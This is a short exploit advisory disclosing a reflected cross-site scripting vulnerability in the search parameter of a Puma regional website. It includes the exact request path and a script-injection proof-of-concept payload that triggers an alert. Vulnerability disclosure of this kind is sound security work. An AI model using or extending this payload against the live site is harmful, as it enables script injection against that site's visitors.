# Exploit Title: Puma Reflected XSS Vulnerability # Date: 2024-08-23 # Exploit Author: kerem24 # Vendor: pe.puma.com # Tested on: Microsoft Windows 11 Pro # CVE: N/A #PoC: An attacker just needs to find the vulnerable parameter (q=) and inject the JS code like: </script><script>alert(document.domain)</script> # Payload /pe/es/search?originalphrase=1&q=</script><script>alert(document.domain)</script>